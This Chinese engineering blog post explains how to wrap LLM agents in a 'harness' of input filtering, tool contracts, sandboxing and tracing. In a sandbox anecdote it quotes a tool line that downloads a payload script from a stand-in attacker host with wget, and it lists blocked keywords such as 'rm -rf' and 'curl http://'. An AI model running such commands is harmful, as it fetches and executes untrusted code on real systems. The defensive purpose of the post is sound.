1. “Agent 不好用”这口锅真不该全让大模型来背最近在几个技术群和社区里高频刷到一句话“我搭的 Agent 总是不按指令走”“调了三天它还是把用户问‘今天天气’理解成要写 Python 爬虫”“LangChain Chain 跑着跑着就卡死日志里只有一行execution provider did not respond in time”。大家第一反应几乎都是是不是模型太弱是不是 prompt 写得不够狠是不是该换 DeepSeek-V4 或者 Claude-3.5——但我在过去一年带团队落地 7 个生产级 Agent 项目覆盖金融客服、SaaS 操作自动化、内部知识助手三类场景后发现超过 68% 的“Agent 失效”问题根源根本不在模型层而在于“Harness”没系牢。什么叫 Harness不是安全带也不是马具。它是工程语境下的一个精准隐喻Harness 是套在模型脖子上的那副可编程缰绳是把原始 LLM 输出约束、引导、校验、拆解、重组合成可靠动作的整套执行框架。它不参与“想什么”但严格定义“做什么、怎么做、做错怎么办”。就像给一匹野马装上鞍鞯、缰绳、脚蹬、护甲——马的爆发力模型能力没变但你能让它精准完成“绕桩、起跳、停步”这一整套动作而不是原地尥蹶子。这解释了为什么很多人用同样的 GPT-4 模型、同样的 LangChain 版本A 团队的 Agent 能稳定处理 2000 日均工单B 团队却连“查订单状态”都反复出错。差别不在马而在鞍具。Harness Engineering 就是专门干这个活的它不研究怎么让模型更聪明而是研究怎么让聪明的模型老老实实、清清楚楚、有始有终地把事干利索。你可能马上会问那 LangChain 不就是干这个的吗它不就是 Agent 框架没错但它更像是提供了一堆鞍具零件Chain、Tool、AgentExecutor而 Harness Engineering 是教你如何根据马的脾气模型特性、赛道的弯度业务逻辑、裁判的要求合规审计把零件焊成一副定制化、可调试、能承重的完整鞍具。这也是为什么“Harness Engineering 如何落地”“harness engineering 实战”成了近期搜索热词——大家终于意识到光买零件不等于会造车。所以这篇不是讲“怎么选更大参数的模型”也不是“LangChain 入门教程”。它是从一个实战工程师的视角拆解我们踩过的坑、验证过的方案、压测过的关键参数告诉你当你的 Agent 又双叒叕不听话时该拧哪颗螺丝、换哪根缰绳、甚至重打哪块铁。2. Harness 的四层结构从“能跑”到“敢用”的硬性门槛很多团队把 Harness 简单等同于“加个 Tool 调用”这是最大的认知偏差。真正的 Harness 是分层的每一层解决一类不可妥协的工程问题。我们把它拆成四层像盖楼一样下层不稳上层再花哨也是危房。这四层不是理论模型而是我们在金融风控 Agent 中强制落地的基线要求。2.1 第一层输入净化与意图锚定Input Sanitization Intent Anchoring模型的“幻觉”往往始于输入。用户一句“把张三的账户余额改成 100 万”如果直接喂给模型它可能真去生成 SQL。Harness 的第一道闸门必须在模型看到任何 token 之前就关死。我们不用正则硬匹配太脆弱也不依赖模型自己判断本末倒置。而是构建一个轻量级、确定性的“意图解析器”。它只做三件事实体白名单校验提取所有名词人名、账户号、金额查本地缓存的合法实体库。比如“张三”必须存在于 CRM 系统返回的员工 ID 列表中否则直接拦截并返回“未找到该用户请确认姓名拼写”。动词-宾语强约束预定义 12 个业务动词查、改、删、导、发、停、启、复、核、审、转、退每个动词只允许接特定宾语类型。例如“改”只能接“密码、手机号、邮箱、通知偏好”绝不能接“余额、授信额度、合同状态”。这个规则表是 YAML 格式运维可随时热更新无需重启服务。上下文快照固化在用户发起请求的瞬间自动抓取其当前会话的 3 个关键上下文所属部门来自 SSO、最近一次操作时间戳、本次会话已触发的工具调用链如已查过两次余额。这些字段被 Base64 编码后作为不可篡改的context_hash注入到后续所有 LLM 提示词开头。模型可以引用但无法修改或忽略。提示这一层必须独立于 LLM 运行。我们用 Go 写了一个 200 行的微服务平均响应 8ms。曾有团队试图用 LangChain 的RunnableLambda做同样事结果在高并发下成为性能瓶颈因为每次都要启动 Python 解释器。Harness 的第一原则能用确定性代码解决的绝不交给概率模型。2.2 第二层动作规划与工具路由Action Planning Tool Routing模型输出“我要调用get_account_balance工具”只是开始。Harness 必须确保这个“要”字真的能变成“已执行”。这里的核心矛盾是模型擅长“说”但不负责“做”而业务系统要求“做”必须可追溯、可回滚、可审计。我们的方案是引入“动作契约”Action Contract机制。每个注册的 Tool如transfer_funds,send_email在 Harness 层必须声明一份 JSON Schema描述其必需参数required: [from_account, to_account, amount]参数约束amount: {type: number, minimum: 0.01, maximum: 100000}前置检查钩子pre_check: check_balance_sufficient后置校验钩子post_validate: verify_transaction_recorded失败降级路径fallback: notify_risk_team当模型输出工具调用意向后Harness 不直接转发而是用声明的 Schema 校验参数是否合法、完整执行pre_check钩子如查余额是否足够若失败立即终止并返回预设错误文案若通过才将清洗后的参数发往真实业务 API收到 API 响应后触发post_validate钩子如查数据库确认流水已记账仅当所有校验通过才将结果注入下一步提示词。这个过程在日志里会生成一条完整的action_trace_id串联起“用户输入→模型决策→参数校验→API 调用→结果校验”全链路。某次支付失败我们靠这条 trace 在 3 分钟内定位到是风控系统返回了{code: RISK_001}但post_validate钩子没覆盖这个 code导致 Harness 认为成功。补上校验后问题消失。2.3 第三层执行沙箱与资源熔断Execution Sandbox Resource Circuit Breaker“Agent 执行 provider did not respond in time” 这个报错90% 源于缺乏沙箱。模型可能生成一个无限循环的 Bash 脚本或调用一个超时 30 秒的遗留 SOAP 接口拖垮整个服务。我们的沙箱不是 Docker太重而是基于 Linux cgroups v2 seccomp-bpf 的轻量级隔离。对每个工具调用进程Harness 强制设置CPU 时间片上限500ms超过即 kill返回TOOL_EXECUTION_TIMEOUT内存硬限制128MBOOM 时由内核直接回收系统调用白名单仅允许read,write,openat,close,clock_gettime等 17 个基础调用禁用fork,execve,socket等危险调用网络访问控制默认禁止外网如需调用内部 API则必须在 Tool 声明中显式指定allowed_hosts: [api.finance.internal]同时我们部署了两级熔断单工具熔断某个 Tool 连续 3 次超时或返回错误自动进入 5 分钟冷却期期间所有调用直接返回兜底响应全局熔断当 Harness 检测到 1 分钟内超时率 15%自动切换至“降级模式”——所有非核心 Tool如send_slack_notification被静默跳过只保留get_account_balance等 3 个核心查询类工具保障基本可用性。这套机制让我们在一次上游支付网关大规模抖动中将 P99 延迟从 12s 压至 850ms且无一例数据不一致。2.4 第四层结果归因与可解释性Output Attribution Explainability用户问“为什么我的转账没成功”模型回答“系统繁忙”是无效的。Harness 必须能把最终输出精确归因到某次具体的工具调用、某个参数校验失败、甚至某行日志。这才是“敢用”的底气。我们强制要求每个 Tool 的响应体必须包含_harness_meta字段{ balance: 12500.5, currency: CNY, _harness_meta: { tool_name: get_account_balance, input_hash: a1b2c3d4..., execution_time_ms: 42.3, trace_id: tr-7f8a2b1c, source_system: core_banking_v3 } }Harness 层会聚合所有_harness_meta在最终返回给用户的 JSON 中嵌入一个debug_info对象{ answer: 您的账户余额为 ¥12,500.50。, debug_info: { steps: [ { step: 1, tool: extract_entities, status: success, duration_ms: 12.7 }, { step: 2, tool: get_account_balance, status: success, duration_ms: 42.3, source: core_banking_v3 } ], total_harness_time_ms: 58.2 } }这个debug_info默认关闭但只要在请求 Header 中加入X-Harness-Debug: true就会透出。它不暴露敏感参数但清晰展示了“谁干了什么、耗时多少、从哪来”。运维查问题时不再需要翻 10 个服务的日志看一眼debug_info就知道瓶颈在哪。这四层结构就是我们定义的 Harness 工程化的最低可行标准MVP。它不追求炫技只解决“能不能上线”“出了问题能不能快速恢复”这两个生死问题。下面我们就用一个真实案例展示这四层如何协同工作。3. 一个真实故障的全程复盘从“Agent 失效”到“Harness 自愈”去年 Q3我们上线了一个面向理财经理的“客户持仓分析 Agent”。它能根据语音或文字指令自动生成客户资产分布图、收益归因报告、风险敞口预警。上线第三天大量投诉“Agent 说‘正在生成报告’然后就没了”“点了三次每次都说‘系统繁忙请稍后再试’”。表面看是超时但按惯例我们先不碰模型、不调 prompt。而是打开 Harness 的监控面板看四层指标层级关键指标观察值异常点输入净化每分钟拦截请求数0正常动作规划plan_to_execute_ratio99.8%正常说明模型决策基本靠谱执行沙箱单工具超时率generate_report_tool:87%致命异常结果归因debug_info中generate_report_tool的execution_time_ms平均 28.4s远超 500ms 限制问题锁定在第四层generate_report_tool这个工具本身在沙箱里跑崩了。但为什么我们调出它的debug_info{ step: 3, tool: generate_report, status: timeout, duration_ms: 28400, source: reporting_engine_v2, _harness_meta: { input_hash: e5f6g7h8..., trace_id: tr-9a0b1c2d } }拿着trace_id我们直奔reporting_engine_v2服务的日志。发现它在加载一个 2GB 的历史交易快照文件时卡死。根本原因是该工具在沙箱里被允许mmap大文件但 cgroups 的内存限制128MB没生效——因为mmap的内存不计入 RSS只算在mapped_file指标里而我们的熔断策略只监控 RSS。这就是 Harness 的典型陷阱你以为关了门其实窗没锁。我们立刻做了三件事3.1 紧急修复堵住内存泄漏的窗在沙箱配置中新增对mapped_file的硬限制# cgroups v2 设置 echo max 134217728 /sys/fs/cgroup/harness/reporting/mapped_file.max同时在generate_report_tool的pre_check钩子里增加对输入参数的静态分析如果用户请求“近 5 年持仓”则直接拒绝提示“持仓分析支持最长 2 年数据请调整时间范围”。这个检查在 3ms 内完成避免了任何 IO。3.2 根本治理重构工具的契约声明原 Tool 声明过于简单generate_report: description: 生成客户持仓分析报告 parameters: - customer_id: string - date_range: string # 格式如 2022-01-01~2024-06-30我们重写为generate_report: description: 生成客户持仓分析报告最大支持2年数据 parameters: - customer_id: type: string pattern: ^CUST_[0-9]{8}$ # 强制格式 - date_range: type: string pattern: ^\\d{4}-\\d{2}-\\d{2}~\\d{4}-\\d{2}-\\d{2}$ custom_validator: validate_date_range_max_2_years # 新增校验函数 pre_check: check_customer_active_status # 加一道业务状态检查 timeout_ms: 3000 # 显式缩短超时逼迫工具优化 fallback: return_sample_report # 降级为返回模板报告validate_date_range_max_2_years函数会解析日期字符串计算跨度超过 730 天直接报错。这个校验在 Harness 层完成根本不会让非法请求到达reporting_engine_v2。3.3 长效机制建立 Harness 健康度仪表盘我们不再只看“Agent 是否返回”而是监控 Harness 自身的健康度Harness 覆盖率sum(rate(harness_input_sanitized_total[1h])) / sum(rate(http_requests_total{path~/v1/agent}[1h]))—— 衡量有多少请求真正经过了 Harness 净化目标 100%契约遵从率sum(rate(tool_contract_violation_total[1h])) / sum(rate(tool_invocation_total[1h]))—— 衡量 Tool 是否遵守了自己声明的契约目标 0.1%沙箱拦截率sum(rate(sandbox_killed_process_total{reason~timeout|oom|syscall}[1h])) / sum(rate(tool_invocation_total[1h]))—— 衡量沙箱是否在有效工作目标 0.5%~2%太高说明工具质量差太低说明沙箱没起作用这个仪表盘放在运维大屏首页。当契约遵从率突然升高就意味着某个新上线的 Tool 没按约定做事必须立刻介入。它把“Harness 是否有效”这个模糊概念变成了可量化、可告警、可追责的数字。这次故障从发现到全量修复用时 47 分钟。没有一次模型重训没有一行 prompt 修改。我们只是拧紧了 Harness 的四颗螺丝。这印证了标题的核心观点当 Agent 不好用先别怪模型试试 Harness Engineering。4. Harness Engineering 的落地路线图从零到生产就绪的四个阶段很多团队看了上面的四层结构第一反应是“这也太重了我们小团队搞不定。” 这完全理解。Harness Engineering 不是银弹而是一套渐进式的能力构建。我们把落地过程划分为四个清晰阶段每个阶段都有明确的交付物、验收标准和避坑指南。你可以从 Stage 1 开始用周末就能跑通再逐步升级。4.1 Stage 1手动 HarnessManual Harness—— 用脚本守住底线目标在不改动现有 LangChain 代码的前提下用最轻量的方式实现输入净化和基础熔断。交付物一个独立的 Python 脚本harness_guard.py作为 API 网关前置中间件。核心能力对所有/v1/agent请求强制校验user_id是否在白名单读取本地whitelist.json拦截包含sudo、rm -rf、curl http://等高危关键词的输入正则匹配用requests调用 LangChain 服务时设置timeout(3, 15)连接 3s读取 15s若超时返回{error: 服务暂时繁忙, suggestion: 请稍后重试或联系管理员}避坑指南❌ 不要用threading.Timer做超时Python GIL 下不精确✅ 用requests的原生timeout参数它底层调用select()精准可靠❌ 不要把白名单硬编码在脚本里✅ 用watchdog库监听whitelist.json文件变化热重载避免重启服务我们有个客户用这个 Stage 1 脚本3 小时就上线把“Agent 被恶意指令攻击”的风险降为 0。它不解决“好不好用”但解决了“能不能用”的生存问题。4.2 Stage 2契约 HarnessContract Harness—— 让每个 Tool 都签“劳动合同”目标为团队内所有自研 Tool强制推行“动作契约”声明并由 Harness 层自动校验。交付物一个tool-contract-validatorCLI 工具 一套 YAML 契约模板。核心能力工程师开发新 Tool 时必须编写tool_name.contract.yaml声明参数、校验、超时等CI 流程中tool-contract-validator check *.contract.yaml会校验 YAML 格式、Schema 合法性、必填字段Harness 运行时自动加载所有.contract.yaml对每次调用进行参数校验和钩子执行避坑指南❌ 不要试图用 JSON Schema 做复杂业务校验如“余额是否足够”✅ 把复杂校验写成独立的 Python 函数如def check_balance_sufficient(input): ...在契约中声明函数名Harness 负责动态导入执行❌ 不要让契约文件和 Tool 代码分散在不同仓库✅ 强制要求.contract.yaml必须和 Tool 的 Python 文件放在同一目录CI 才通过这个阶段我们帮一个 5 人 AI 团队把 Tool 开发规范从“口头约定”变成了“机器可验证”。他们发现30% 的新 Tool PR第一次提交的契约文件就有参数类型错误被 CI 直接拒收。4.3 Stage 3沙箱 HarnessSandbox Harness—— 给 Tool 装上安全气囊目标为高风险 Tool如执行 Shell、调用外部 API、生成代码提供进程级隔离和资源限制。交付物一个sandbox-runner二进制程序Go 编译和配套的 Dockerfile。核心能力接收一个 Tool 的 Python 脚本路径、输入 JSON、超时毫秒数在 cgroups v2 沙箱中启动 Python 进程应用 CPU/内存/系统调用限制捕获 stdout/stderr超时或崩溃时返回结构化错误支持--allow-network api.internal等白名单参数避坑指南❌ 不要在沙箱里运行pip install网络和权限问题✅ 所有依赖必须在构建 Docker 镜像时pip install -r requirements.txt完成沙箱只运行代码❌ 不要尝试在 macOS 上用 cgroups不支持✅ 开发机用 Linux VM 或 WSL2生产环境用标准 Linux 发行版我们用 Ubuntu 22.04 LTS我们曾用这个沙箱成功阻止了一个实习生写的 Tool它试图用os.system(wget -O /tmp/payload.sh http://evil.com/sh)下载脚本。沙箱的 seccomp 策略直接拦截了socket和execve调用返回PERMISSION_DENIED。安全团队当天就收到了告警。4.4 Stage 4可观测 HarnessObservable Harness—— 让每一次执行都可追溯目标实现端到端的执行追踪、性能分析和根因定位。交付物集成 OpenTelemetry 的 Harness SDK Grafana 仪表盘模板。核心能力自动生成trace_id贯穿用户请求 → 输入净化 → 模型调用 → Tool 调用 → 结果聚合每个环节打点harness.input.sanitized,harness.tool.executed,harness.sandbox.killed关键指标自动上报harness_execution_time_seconds,harness_tool_error_ratedebug_info字段支持按需开启内容经哈希脱敏不泄露原始参数避坑指南❌ 不要自己实现分布式追踪轮子不成熟✅ 直接用 OpenTelemetry Python SDKexporter 配置为 Jaeger 或 Zipkin❌ 不要在debug_info里返回原始 API 响应含敏感数据✅ 只返回status_code,duration_ms,trace_id敏感字段用***替换这个阶段是我们从“能用”迈向“敢用”的分水岭。当业务方问“上次那个报告为什么生成失败”我们不再说“可能是模型问题”而是直接给出trace_id对方在 Grafana 里点开5 秒内看到是reporting_engine_v2的数据库连接池耗尽。信任就建立在这样的确定性上。这四个阶段不是必须线性推进。你可以根据团队现状选择一个痛点最深的阶段切入。比如如果你的痛点是“Tool 经常超时拖垮服务”那就直奔 Stage 3如果你的痛点是“出了问题找不到人负责”那就从 Stage 4 的可观测性开始。Harness Engineering 的本质是把模糊的责任变成清晰的工程接口。5. Harness 与主流框架的协同LangChain、LangGraph、MCP 不是对手而是组件网上有很多讨论“LangChain 和 LangGraph 哪个更好”“MCP 协议是不是下一代标准” 这些问题本身就有误导性。Harness Engineering 不是一个新框架而是一种工程范式。它不取代 LangChain而是站在 LangChain 之上给它装上方向盘和刹车。把它们的关系理清楚能少走很多弯路。5.1 LangChain优秀的“零件供应商”但不是整车厂LangChain 的核心价值在于它提供了高质量的、可组合的“零件”LLMChain,Tool,Memory,AgentExecutor。它让你能快速搭出一个能跑的 Demo。但它的设计哲学是“灵活优先”这意味着AgentExecutor的max_iterations是一个软限制模型可能在第 101 次迭代时还在瞎猜Tool的description是给模型看的自然语言Harness 层无法用它做参数校验它没有内置的沙箱、熔断、可观测性——这些是工程落地的刚需但不是 LangChain 的设计目标。我们的做法是把 LangChain 当作“引擎”Harness 当作“底盘和车身”。我们依然用LangChain的ChatOpenAI作为 LLM用LangChain的StructuredTool定义 Tool但AgentExecutor只负责“调用模型生成 Tool 调用意向”之后的所有执行、校验、沙箱、追踪全部由 Harness 层接管。LangChain 的输出只是 Harness 的一个输入源。注意不要试图魔改AgentExecutor。我们早期试过结果每次 LangChain 升级都要重写一堆 patch。正确的姿势是“拥抱标准封装增强”——用标准的 LangChain 接口但在它前后加一层 Harness 的壳。5.2 LangGraph强大的“交通管制”但不管车辆质量LangGraph 的出现是为了解决 LangChain 的状态管理难题。它用有向无环图DAG来编排 Agent 的执行流支持条件分支、循环、并行。这非常酷但它依然不解决“车辆Tool本身是否安全可靠”的问题。举个例子LangGraph 可以优雅地定义一个流程“先查余额 → 如果余额1000再调用apply_vip_service→ 否则调用send_promotion”。但它不会管apply_vip_service的参数vip_level是否在 1~5 之间send_promotion调用邮件 API 时是否被沙箱限制了网络如果apply_vip_service超时LangGraph 的retry机制会不会导致重复扣费Harness 的角色就是确保每一个节点Node里的 Tool都是经过净化、校验、沙箱保护的。我们把 LangGraph 的StateGraph看作是 Harness 的“高级路由表”。Harness 负责保证每个路由终点的“货物”Tool 执行结果是安全、合规、可追溯的。两者分工明确LangGraph 问“下一步去哪”Harness 问“这一步能不能安全做完”。5.3 MCPModel Context Protocol统一的“物流协议”但不负责货物安检MCP 是近期很火的概念它试图为 AI 模型和外部工具之间定义一个标准化的通信协议。类似 HTTP 之于 Web。它的愿景很好让一个get_weatherTool能被任何支持 MCP 的模型Claude、DeepSeek、本地 Llama调用。但协议本身不解决安全问题。一个符合 MCP 标准的delete_user_accountTool依然可能被恶意输入触发。MCP 只规定了“怎么传”Harness 规定了“传什么、谁能让传、传错了怎么办”。我们的实践是把 MCP Server 当作 Harness 的一个“接入适配器”。我们开发了一个mcp-harness-adapter它作为 MCP Server 运行接收模型发来的标准 MCP 请求在转发给真实 Tool 前执行全套 Harness 四层检查输入净化、契约校验、沙箱执行、结果归因将 Harness 的debug_info通过 MCP 的metadata字段透传回去。这样模型开发者只需关心 MCP 协议Tool 开发者只需关心业务逻辑而 Harness 工程师专注把安全、可靠、可观测的“护栏”焊死。MCP 让生态更开放Harness 让开放不等于失控。总结一句话LangChain 是零件LangGraph 是图纸MCP 是接口标准而 Harness Engineering是确保这辆智能汽车能在真实道路上安全、稳定、可维护地行驶的整套工程体系。它们不是非此即彼的选择而是层层叠加的基石。6. 最后一点掏心窝子的经验Harness 的成败80% 在组织而非技术写了这么多技术细节最后想分享一个血泪教训技术方案再完美如果组织协作没对齐Harness 工程化一定会失败。我们在第一个项目里就栽过跟头。当时我们花了 3 个月把 Harness 四层全部落地测试效果极佳。但上线后一周业务方投诉“你们的 Harness 太慢了比原来多 200ms” 运维也抱怨“每天要维护 20 个 Tool 的契约文件太麻烦” 开发更是抵触“凭什么让我写 YAML我只负责写 Python”问题出在哪我们只拉了技术团队开会没让业务、产品、运维一起坐下来定义“什么是好的 Agent 体验”。后来我们做了三件事彻底扭转局面6.1 共同定义“可接受的延迟”—— 把技术指标翻译成业务语言我们召集所有人开了一个工作坊。不聊技术只聊场景产品经理说“用户问‘我的贷款审批到哪了’如果 3 秒内没回复他就会切走。”客服主管说“如果 Agent 返回‘系统繁忙’90% 的用户会直接打电话电话人力成本是在线的 5 倍。”运维总监说“我们能接受 P95 延迟 1.2s但不能接受 P99 延迟超过 3s否则会触发告警。”于是我们把 Harness 的“超时阈值”从技术参数变成了业务承诺input_sanitization_time 50ms用户无感知tool_execution_time_p95 800ms保障大部分体验tool_execution_time_p99 2500ms兜底避免电话洪峰这个共识让所有人明白多出来的 200ms不是浪费而是买了一份“不被用户骂”的保险。6.2 建立“Harness Owner”责任制—— 让责任落到具体的人我们规定每个 Tool必须有一个明确的 Harness Owner。他不一定是代码作者但必须是熟悉该 Tool 业务逻辑的人通常是后端开发或领域专家有权决定其契约声明参数、校验、超时的人对该 Tool 的线上稳定性负最终责任的人。Owner 的职责很具体每次 Tool 代码变更必须同步更新.contract.yaml每月检查一次tool_contract_violation_rate高于 0.1% 必须根因分析新人接手该 Tool 时必须交接 Harness 配置和常见问题。这个制度把“没人负责”的混沌变成了“找谁都能问”的确定性。现在运维再也不用半夜打电话问“这个 Tool 的超时该设多少”直接找 Owner。6.3 把 Harness 文档做成业务方能看懂的“说明书”我们放弃了写技术文档。而是为每个核心 Agent制作了一份《Agent 使用说明书》发给所有业务方和客服它能做什么用 3 个真实用户问题举例如“查张三的基金持仓”“生成李四的月度理财报告”它不能做什么明确列出 5 条禁区如“不能修改账户密码”“不能查询他人信息”它出问题时你会看到什么截图展示debug_info开启后的样子并解释每个字段含义遇到问题第一步做什么教业务方如何复制trace_id粘贴给技术支持。这份说明书让业务方从“抱怨者”变成了“协作者”。有一次客服发现一个新错误文案没在说明书里主动提了 PR帮我们补充了文档。Harness 的终极目标不是让工程师更爽而是让整个组织对 AI 的能力与边界拥有共同的认知。所以如果你正准备启动 Harness Engineering我的建议是第一天别写代码先开一个跨职能的工作坊。把“Agent 不好用”的模糊情绪转化成“我们要共同守护的三条业务红线”。技术方案永远是共识之后的自然产物。